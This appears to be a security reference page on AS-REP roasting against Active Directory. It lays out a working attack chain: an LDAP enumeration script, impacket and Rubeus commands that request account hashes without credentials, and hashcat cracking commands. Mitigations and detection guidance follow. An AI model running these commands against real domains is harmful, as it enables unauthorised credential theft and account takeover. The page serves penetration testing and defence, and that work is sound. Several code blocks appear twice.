AS-REP Roasting
Overview
Kerberos pre-authentication requires a client to prove it knows the account password before the KDC issues a Ticket Granting Ticket: it encrypts the current timestamp with the account’s long-term key and sends it in the PA-ENC-TIMESTAMP field of the AS-REQ. The KDC decrypts it, verifies the timestamp is recent, and only then issues a TGT.
The DONT_REQUIRE_PREAUTH user account control flag disables this check. The KDC responds to any AS-REQ for that account — even an unauthenticated one — with an AS-REP that contains a blob encrypted with the account’s key. An attacker can request that blob without presenting any credentials, then crack it offline.
Unlike Kerberoasting, AS-REP roasting requires no valid domain credentials to enumerate or request hashes. A network foothold or internal network access is sufficient.
The DONT_REQUIRE_PREAUTH flag exists for legacy compatibility with older Kerberos clients
(MIT Kerberos, some Unix services). It should never appear on user accounts in a hardened domain.
Any account with this flag set in an Active Directory environment is either misconfigured or
intentionally backdoored.
The call chain
- 1enumerate accounts without pre-auth (DONT_REQUIRE_PREAUTH)LDAP query for userAccountControl bit 0x400000 set — these accounts respond to AS-REQ without verifying a timestamp.
- 2send unauthenticated AS-REQ to KDC (TCP/UDP 88)No valid credentials required — the KDC responds with an AS-REP regardless.
- 3extract encrypted blob from AS-REPThe AS-REP PA-ENC-TIMESTAMP is encrypted with the account's RC4 key (NTLM hash) or AES key.
- 4crack offline with hashcatMode 18200 targets the Kerberos 5 AS-REP etype 23 (RC4-HMAC) format.
Reference implementation
Enumerate vulnerable accounts (LDAP, no credentials)
from ldap3 import Server, Connection, ALL, NTLM, SUBTREE
server = Server('10.10.10.1', get_info=ALL)
# Anonymous or authenticated LDAP bind
conn = Connection(server, user='CORP\\low_priv', password='Password1!', auto_bind=True)
# bit 0x400000 (4194304) = DONT_REQUIRE_PREAUTH
conn.search(
'DC=corp,DC=local',
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
attributes=['sAMAccountName', 'userAccountControl', 'memberOf']
)
for entry in conn.entries:
print(f"[!] {entry.sAMAccountName} -> {entry.memberOf}")from ldap3 import Server, Connection, ALL, NTLM, SUBTREE
server = Server('10.10.10.1', get_info=ALL)
# Anonymous or authenticated LDAP bind
conn = Connection(server, user='CORP\\low_priv', password='Password1!', auto_bind=True)
# bit 0x400000 (4194304) = DONT_REQUIRE_PREAUTH
conn.search(
'DC=corp,DC=local',
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
attributes=['sAMAccountName', 'userAccountControl', 'memberOf']
)
for entry in conn.entries:
print(f"[!] {entry.sAMAccountName} -> {entry.memberOf}")Request AS-REP hashes (impacket)
# No credentials needed — will roast any account with preauth disabled $ python3 GetNPUsers.py corp.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txt # Authenticated enumeration — finds all vulnerable accounts automatically $ python3 GetNPUsers.py corp.local/low_priv:Password1! -dc-ip 10.10.10.1 -request # Output (hashcat 18200 format) $krb5asrep$23$svc_backup@CORP.LOCAL:3c6d9f0a...8fae1b2c$9a3f...:3e2d... # Save directly to a file for cracking $ python3 GetNPUsers.py corp.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txt -outputfile asrep_hashes.txt
# No credentials needed — will roast any account with preauth disabled
$ python3 GetNPUsers.py corp.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txt
# Authenticated enumeration — finds all vulnerable accounts automatically
$ python3 GetNPUsers.py corp.local/low_priv:Password1! -dc-ip 10.10.10.1 -request
# Output (hashcat 18200 format)
$krb5asrep$23$svc_backup@CORP.LOCAL:3c6d9f0a...8fae1b2c$9a3f...:3e2d...
# Save directly to a file for cracking
$ python3 GetNPUsers.py corp.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txt -outputfile asrep_hashes.txtRubeus (Windows, in-memory)
# Enumerate and roast all vulnerable accounts in one command .Rubeus.exe asreproast /format:hashcat /outfile:C:Temphashes.txt # Target a specific user .Rubeus.exe asreproast /user:svc_backup /format:hashcat # Request AES256 (etype 18) — harder to crack but shows AES key exposure .Rubeus.exe asreproast /user:svc_backup /etype:aes256
# Enumerate and roast all vulnerable accounts in one command
.Rubeus.exe asreproast /format:hashcat /outfile:C:Temphashes.txt
# Target a specific user
.Rubeus.exe asreproast /user:svc_backup /format:hashcat
# Request AES256 (etype 18) — harder to crack but shows AES key exposure
.Rubeus.exe asreproast /user:svc_backup /etype:aes256Crack with hashcat
# Mode 18200 = Kerberos 5 AS-REP etype 23 (RC4-HMAC) hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # With rules for better coverage hashcat -m 18200 asrep_hashes.txt rockyou.txt -r best64.rule # AES256 (etype 18) is mode 19900 — significantly slower hashcat -m 19900 asrep_aes_hashes.txt rockyou.txt
# Mode 18200 = Kerberos 5 AS-REP etype 23 (RC4-HMAC)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r best64.rule
# AES256 (etype 18) is mode 19900 — significantly slower
hashcat -m 19900 asrep_aes_hashes.txt rockyou.txtRC4 vs AES cracking performance
| Etype | Hashcat mode | Speed (RTX 3090) | Notes |
|---|---|---|---|
| RC4-HMAC (23) | 18200 | ~800 MH/s | Default; fast to crack |
| AES128 (17) | 19800 | ~3 MH/s | Rarely seen |
| AES256 (18) | 19900 | ~1.5 MH/s | Modern DCs prefer this |
Pre-auth bypass returns RC4 by default even on AES-only domains unless the client explicitly requests AES. Always check what etype the DC issues — some hardened environments disable RC4 globally.
Mitigations
| Control | Effectiveness |
|---|---|
Audit for DONT_REQUIRE_PREAUTH flag (weekly) |
Detects misconfiguration |
| Protected Users security group | Forces AES and disables legacy Kerberos options |
| Fine-grained password policy with 25+ char passwords | Cracking infeasible even for RC4 hashes |
| Require pre-auth in Kerberos policy | Direct prevention |
Detection
EID 4768 with Pre-Authentication Type: 0x0 (no pre-auth) is the cleanest signal. In a hardened domain, this event should never appear — any occurrence warrants immediate investigation. Correlate the source IP against legitimate workstations and service accounts.